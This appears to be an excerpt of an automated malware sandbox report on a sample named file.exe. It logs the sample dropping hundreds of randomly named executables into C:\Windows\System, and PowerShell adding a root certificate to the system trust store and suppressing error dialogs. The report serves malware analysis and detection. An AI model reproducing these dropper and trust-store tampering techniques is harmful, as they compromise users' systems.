Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YUQTINM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fEOJwwW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ppfNNTX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PABSWXd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MCvhdFU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fYMwhpS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ASKjfZy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PUqZmPS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NzANgdB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hhEeZzN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hAOVVjq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vREuzRr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eLYbCEG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MgoHIfZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sFwDWFc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jqUGnrw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\usscfzm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rXBWFEL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wJNkgSa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZDeifCM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mEVTdIJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XqXHiyf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ajEytdP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PRQFErV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\blOLvcj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JGfFPYZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mZnsuql.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DrKJjXc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JRnaUrS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IBWzTMA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iSmvfWm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bJVoOik.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VExclqz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mtnXczE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uwKMlqy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gQbnwXn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tXVZMjj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SYLAfii.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uBSPQKP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wWwDsEl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\brplcms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tyQdqmC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\zJwJxgA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RKUSbZV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jkErNHB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rwUXwnj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gAPrxpM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\GaSDvNs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\zYyqoWF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iJpJhmt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PdxLXDE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LYzOvkf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uNQcZEb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ERbKWDm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\zzbooXY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QWtCxan.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ltlcnHD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tzOEnrH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FaabrKu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SOFlTuM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RtRmRJz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SxjZpBy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LPMtFlZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pPLiGBV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dmPtXnK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QZBRXHU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ssUJwoR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ndpwHPZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lQcYvMS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VPuwqFY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ihDRfqA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sctmwAr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uJEYoyF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\defQfgC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XJEUdeq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rKZvlov.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VWrcuzM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\KVTiBjz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sPniyBl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wsmNUVo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lrIaMFU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LKurWpq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HUohYxb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MwFvbxc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\StIsyPE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WOvgLKK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xsirwHn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ffPPQcz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cVJdttA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VLekFWd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CpMhLMx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FGUHzJz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NuxBytj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gXwIlxx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HNocQDn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ftWkAMN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nJFWveO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rfpCYxf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xZqqKxJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UiAsnNy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HEPcUok.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fXSZuyj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ArNQyZf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hAjIjRa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rDRaLhy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UyqOZIb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rTrjeti.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AONeoTK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RgcKJVt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gPTriDK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bymvMyH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XBXKJRi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\osHoaGO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eQlnkhq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LNyWtrn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZlvPlxy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xVIixqx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JCZRmvQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sHbEZkY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rVmcjTa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\aIuDozC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DtVOaSb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RCVCpIi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vyHGCnK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IEswIyo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IjDqKMU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iEDLgeS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\qmcblFN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZCyEzte.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ztQluWW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vixYnHG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PPOtBBY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZohDODH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tyXEsEa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FUwHkXo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AbenojY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mlhNNPN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pMaKiZu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BMxbfij.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\OVdNTki.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NVxCwjX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FHjAcHx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\glgdLrR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jtnQpnb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pbwrbNh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HbWODob.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WVsCsMZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FgBtrMU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TBNKhIN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TQUlNhY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\izzcVgF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mbSqRHL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lyMiIxb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\veVfAiw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HVhldsH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZPBkGsL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZXNyiNu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sGYPztO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eIXgzbs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FGSooXz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\yzVBTwc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\chBMsUn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EDndQMl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uxMRJKa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\OyxgWny.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fhxlOMT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bxBimDh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mPNsbfH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WZkiNdG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nkFLDPI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\yolnOnG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SUucMiy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\aFpkhGM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AOSuUmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DNhkeWm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\svRRwoZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nKUJunm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HuKkgJY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mBbgLGb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DCqXTox.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PbUiiSM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VsobEcA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CVYvaQs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\KeLPRxW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tWOQBIk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mshbGSl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ccbrmxM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sJZigTD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WvowvSL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BnLcQMe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wkazDeV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mdMaqgD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rTpsbWr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cBoEBlV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NqPZXyD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dbgHMyC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cyvijMt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ykZgpGK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UqXZtcb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YIjJOqk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JqFVNbS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wNVvJxX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\oCLXTVT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dPvMBBP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WCbcoxD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CoTJSDT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wnWUbPS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZFvVqBc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VjXLpYb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lVudyTV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WdIXuil.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DBfMBcY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iYYYydA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XbARtow.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vKoIcLB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xAngvPh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wPprRzW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xyokMuX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ckHJCFb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\imwRXsl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\kPkYoOt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FlmGZHf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pnGqAlS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HHsWpNX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LFQLRaY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ghXRScL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VHwkuIa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HjdahEF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pMMnfcQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\aFbtfKK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hzIYZSD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QqSzknx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LTWTGcY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LLELsGo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eIthybV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LCScugy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eaXsKmO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UQPgIol.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NrRaZIJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DTVvNoy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lBrohsB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hyzwXgh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sdTevgk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\skgGGJN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nJZyUBH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ucDGEkw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AXEGSHs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JdmbeCb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hMvDOJd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nWSykjl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pGmaKvE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EENzfBP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QrBMIBp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NDapyRM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CGpcHNw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pBTelAj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\GoSpvOG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bsgTRXG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tJmWuwF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jmSIZKC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\OgBLDNx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\yuTigyc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dMXkTWG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cVpmxhg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mByREeI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rtBLYbw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EzVUaNc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EZbURBQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\geBTNDq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TVNHEGY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PjowoJp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bzSbRdi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FoekgWP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sDLqeeh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bFsdWPU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WvkREuJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\aBqatWR.exe	Jump to dropped file

Source: C:\Windows\System\xIpouRJ.exe

4_2_00007FF66685EBF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Source: C:\Users\user\Desktop\file.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
